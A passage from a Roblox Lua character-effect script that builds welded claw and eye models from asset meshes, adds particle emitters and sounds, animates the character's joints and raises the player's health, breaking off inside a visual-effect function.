  2571. parta.Transparency = 0
  2572. parta.Anchored = true
  2573. parta.CanCollide = false
  2574. parta.CFrame = tors.CFrame
  2575. Transform()
  2576. parta:Destroy()
  2577.  
  2578. local modelzorzz=Instance.new("Model")
  2579. modelzorzz.Parent=Character
  2580. modelzorzz.Name="Claw1"
  2581.  
  2582. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2583. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2584. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2585. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2586. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2587. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2588. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2589. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2590. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2591. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2592. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2593. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2594. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2595. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2596. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2597. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2598. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2599. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2600. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2601. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2602. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2603. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2604. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2605. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2606. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2607. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2608. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2609. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2610. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2611. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2612. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2613. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2614. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2615. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2616. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2617. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2618. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2619. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2620. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2621. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2622. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2623.  
  2624. local modelzorzz2=Instance.new("Model")
  2625. modelzorzz2.Parent=Character
  2626. modelzorzz2.Name="Claw2"
  2627.  
  2628. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2629. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2630. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2631. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2632. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2633. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2634. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2635. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2636. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2637. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2638. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2639. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2640. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2641. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2642. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2643. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2644. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2645. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2646. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2647. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2648. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2649. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2650. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2651. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2652. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2653. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2654. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2655. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2656. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2657. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2658. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2659. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2660. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2661. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2662. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2663. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2664. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2665. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2666. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2667. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2668. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2669.  
  2670. local modelzorzz3=Instance.new("Model")
  2671. modelzorzz3.Parent=Character
  2672. modelzorzz3.Name="Eye"
  2673.  
  2674. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2675. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2676. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2677. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2678. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2679. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2680. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2681. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2682. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2683. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2684. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2685. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2686. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2687. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2688. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2689. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2690. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2691. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2692. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2693. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2694. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2695. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2696. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2697.  
  2698. p = game.Players.LocalPlayer
  2699. char = p.Character
  2700. torso = char.Torso
  2701. neck = char.Torso.Neck
  2702. hum = char.Humanoid
  2703. hum.MaxHealth = 1527500
  2704. wait()
  2705. hum.Health =hum.MaxHealth
  2706.  
  2707. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2708. particleemitter.VelocitySpread = 180
  2709. particleemitter.Lifetime = NumberRange.new(0.1)
  2710. particleemitter.Speed = NumberRange.new(2)
  2711. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2712. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2713. particleemitter.Rate = 100
  2714. particleemitter.Rotation = NumberRange.new(-45, 45)
  2715. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2716. particleemitter.LightEmission = 0.8
  2717. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2718.  
  2719. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2720. particleemitter.VelocitySpread = 180
  2721. particleemitter.Lifetime = NumberRange.new(0.1)
  2722. particleemitter.Speed = NumberRange.new(2)
  2723. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2724. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2725. particleemitter.Rate = 100
  2726. particleemitter.Rotation = NumberRange.new(-45, 45)
  2727. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2728. particleemitter.LightEmission = 0.8
  2729. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2730.  
  2731. local particleemitter = Instance.new("ParticleEmitter", handle)
  2732. particleemitter.VelocitySpread = 180
  2733. particleemitter.Lifetime = NumberRange.new(0.1)
  2734. particleemitter.Speed = NumberRange.new(2)
  2735. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2736. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2737. particleemitter.Rate = 100
  2738. particleemitter.Rotation = NumberRange.new(-45, 45)
  2739. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2740. particleemitter.LightEmission = 0.8
  2741. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2742.  
  2743. particleemitter.Enabled = true
  2744. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  2745. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  2746. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  2747. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  2748. for i=0,1,0.005 do
  2749. swait()
  2750. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  2751. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  2752. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  2753. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  2754. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  2755. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2756. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2757. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2758. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2759. end
  2760. for i=0,1,0.04 do
  2761. swait()
  2762. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  2763. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2764. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2765. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2766. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  2767. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  2768. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  2769. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  2770. end
  2771. attack = false
  2772. end
  2773. end
  2774. end)
  2775.  
  2776. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2777. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2778. prt.Anchored=true
  2779. prt.CFrame=cframe
  2780. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2781. game:GetService("Debris"):AddItem(prt,2)
  2782. coroutine.resume(coroutine.create(function(Part,Mesh)
  2783. for i=0,1,delay do
  2784. wait()
  2785. Part.CFrame=Part.CFrame
  2786. Part.Transparency=i
